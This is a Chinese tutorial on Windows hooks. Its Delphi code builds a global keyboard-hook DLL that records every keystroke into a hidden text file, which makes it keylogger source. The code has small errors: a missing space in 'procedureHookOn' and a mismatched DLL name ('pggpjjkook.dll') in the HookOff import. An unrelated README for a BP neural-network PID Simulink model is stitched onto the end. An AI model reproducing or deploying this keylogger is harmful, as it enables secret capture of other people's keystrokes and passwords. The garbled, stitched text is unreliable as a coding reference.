钩子基础解

Windows下DLL实现键盘钩子示例

何谓钩子,钩子其实在消息链中插入一个函数用来监控
消息。当然这个钩子起到过虑消息的作用。对于监控的
是系统消息当然不能用exe文件封装其子函数,因为exe
进程对于其它进程是不透明的。那怎么办,当然想到dll
文件,把dll映射到其他的进程空间中,不就解决了。
下面给一个键盘的钩子-对wm_keydown,wm_keyup按键消息
进行过滤。
主程序
program UseHook;

uses Windows;

var mStruct: TMsg;

procedureHookOn; external 'pggpjjhook.dll';
procedure HookOff; external 'pggpjjkook.dll';

begin
 HookOn; // 挂钩
 While GetMessage(mStruct, 0, 0, 0) do;//消息循环
 HookOff;// 脱钩
end.
-----------------
dll文件

library pggpjjhook;

uses
  Windows ;

var
  KBS: TKeyboardState;//键盘状态
  HookH: DWORD; //钩子句柄
  FileH: DWORD; //文件句柄
  FSize: DWORD=1; //待写长度
  Wsize: DWORD; //实写长度
  Fchar: array[0..1] of Char;// 待写字符
 

 // 键盘钩子回调用函数
function KeyHookPro(Code: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
begin
 
  if (code=HC_ACTION)and(((LParam shr 31)and 1)=0) then//按键消息队伍active
  begin
 
  GetKeyboardState(KBS);//
  if ToAscii(WParam, ((LParam shr 16)and$000000FF), KBS, @Fchar[0] ,0)=1 then
  begin
 
  FileH:=CreateFile(PChar('c:/pggpjj.txt'), GENERIC_READ or GENERIC_WRITE,
 0, nil, Open_Always, FILE_ATTRIBUTE_NORMAL, 0);//
  SetFilePointer(FileH, 0, nil, 2);
  WriteFile(FileH, Fchar[0], FSize, Wsize, nil);//写入键的ascii值 

  CloseHandle(FileH);
  end;
  end;
  Result := CallNextHookEx(HookH, Code, wParam, lParam);
end;

 // 挂钩
procedure HookOn;
begin
  HookH := SetWindowsHookEx(WH_KEYBOARD, KeyHookPro, HInstance, 0);
end;

 // 脱钩
procedure HookOff;
begin
  UnHookWindowsHookEx(HookH);
end;

exports
  HookOn,HookOff;
 
begin
end.


提供了基于BP(Back Propagation)神经网络结合PID(比例-积分-微分)控制策略的Simulink仿真模型。该模型旨在实现对杨艺所著论文《基于S函数的BP神经网络PID控制器及Simulink仿真》中的理论进行实践验证。在Matlab 2016b环境下开发,经过测试,确保能够正常运行,适合学习和研究神经网络在控制系统中的应用。 特点 集成BP神经网络:模型中集成了BP神经网络用于提升PID控制器的性能,使之能更好地适应复杂控制环境。 PID控制优化:利用神经网络的自学习能力,对传统的PID控制算法进行了智能调整,提高控制精度和稳定性。 S函数应用:展示了如何在Simulink中通过S函数嵌入MATLAB代码,实现BP神经网络的定制化逻辑。 兼容性说明:虽然开发于Matlab 2016b,但理论上兼容后续版本,可能会需要调整少量配置以适配不同版本的Matlab。 使用指南 环境要求:确保你的电脑上安装有Matlab 2016b或更高版本。 模型加载: 下载本仓库到本地。 在Matlab中打开.slx文件。 运行仿真: 调整模型参数前,请先熟悉各模块功能和输入输出设置。 运行整个模型,观察控制效果。 参数调整: 用户可以自由调节神经网络的层数、节点数以及PID控制器的参数,探索不同的控制性能。 学习和修改: 通过阅读模型中的注释和查阅相关文献,加深对BP神经网络与PID控制结合的理。 如需修改S函数内的MATLAB代码,建议有一定的MATLAB编程基础
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